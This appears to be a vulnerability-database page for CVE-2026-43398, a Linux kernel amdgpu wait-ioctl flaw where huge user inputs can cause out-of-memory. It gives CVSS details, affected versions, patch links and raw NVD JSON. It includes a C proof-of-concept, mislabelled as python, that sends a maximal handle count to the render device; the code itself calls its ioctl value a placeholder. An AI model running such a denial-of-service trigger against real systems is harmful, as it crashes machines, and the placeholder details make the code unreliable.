CVE-2026-43398

Description

In the Linux kernel, the following vulnerability has been resolved: drm/amdgpu: add upper bound check on user inputs in wait ioctl Huge input values in amdgpu_userq_wait_ioctl can lead to a OOM and could be exploited. So check these input value against AMDGPU_USERQ_MAX_HANDLES which is big enough value for genuine use cases and could potentially avoid OOM. v2: squash in Srini's fix (cherry picked from commit fcec012c664247531aed3e662f4280ff804d1476)

CVSS Details

CVSS Score

5.5

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:linux:linux_kernel:7.0:rc1:*:*:*:*:*:* - VULNERABLE

Linux Kernel (修复提交 fcec012c664247531aed3e662f4280ff804d1476 之前)

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

/*
 * Conceptual PoC for CVE-2026-43398
 * Triggering OOM in amdgpu_userq_wait_ioctl
 */
#include <stdio.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/ioctl.h>
#include <stdlib.h>
#include <stdint.h>

// Placeholder for the actual IOCTL definition
#define DRM_IOCTL_AMDGPU_USERQ_WAIT 0x40 // Example value

struct amdgpu_userq_wait_args {
    uint32_t handle_count;
    uint64_t handles_ptr;
};

int main() {
    // Open the AMDGPU device (path may vary)
    int fd = open("/dev/dri/renderD128", O_RDWR);
    if (fd < 0) {
        perror("Failed to open device");
        return -1;
    }

    struct amdgpu_userq_wait_args args;
    // Exploit: Set a huge value to trigger OOM
    args.handle_count = 0xFFFFFFFF; 
    args.handles_ptr = 0;

    printf("[+] Sending malicious payload to trigger OOM...\n");
    int ret = ioctl(fd, DRM_IOCTL_AMDGPU_USERQ_WAIT, &args);
    
    if (ret < 0) {
        perror("[+] IOCTL failed (OOM likely triggered)");
    } else {
        printf("[-] IOCTL succeeded unexpectedly\n");
    }

    close(fd);
    return 0;
}

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-43398
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-43398
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-43398/
[4] VulDB https://vuldb.com/cve/CVE-2026-43398
[5] https://git.kernel.org/stable/c/3cd93bc695b3456f26f5ed52753d9071da26202a
[6] https://git.kernel.org/stable/c/64ac7c09fc44985ec9bb6a9db740899fa40ca613
[7] https://git.kernel.org/stable/c/b1d10508da559da2e0ca9cca6505094a7df948e1

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-43398", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-05-08T15:16:51.230", "lastModified": "2026-05-21T19:29:27.747", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\ndrm/amdgpu: add upper bound check on user inputs in wait ioctl\n\nHuge input values in amdgpu_userq_wait_ioctl can lead to a OOM and\ncould be exploited.\n\nSo check these input value against AMDGPU_USERQ_MAX_HANDLES\nwhich is big enough value for genuine use cases and could\npotentially avoid OOM.\n\nv2: squash in Srini's fix\n\n(cherry picked from commit fcec012c664247531aed3e662f4280ff804d1476)"}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.16", "versionEndExcluding": "6.18.19", "matchCriteriaId": "F7766422-FDBE-437C-8710-C7F7094B8844"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.19", "versionEndExcluding": "6.19.9", "matchCriteriaId": "E825E7C3-FEAC-4FD3-8A81-78D7387948C9"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc1:*:*:*:*:*:*", "matchCriteriaId": "F253B622-8837-4245-BCE5-A7BF8FC76A16"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/3cd93bc695b3456f26f5ed52753d9071da26202a", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/64ac7c09fc44985ec9bb6a9db740899fa40ca613", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/b1d10508da559da2e0ca9cca6505094a7df948e1", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}]}}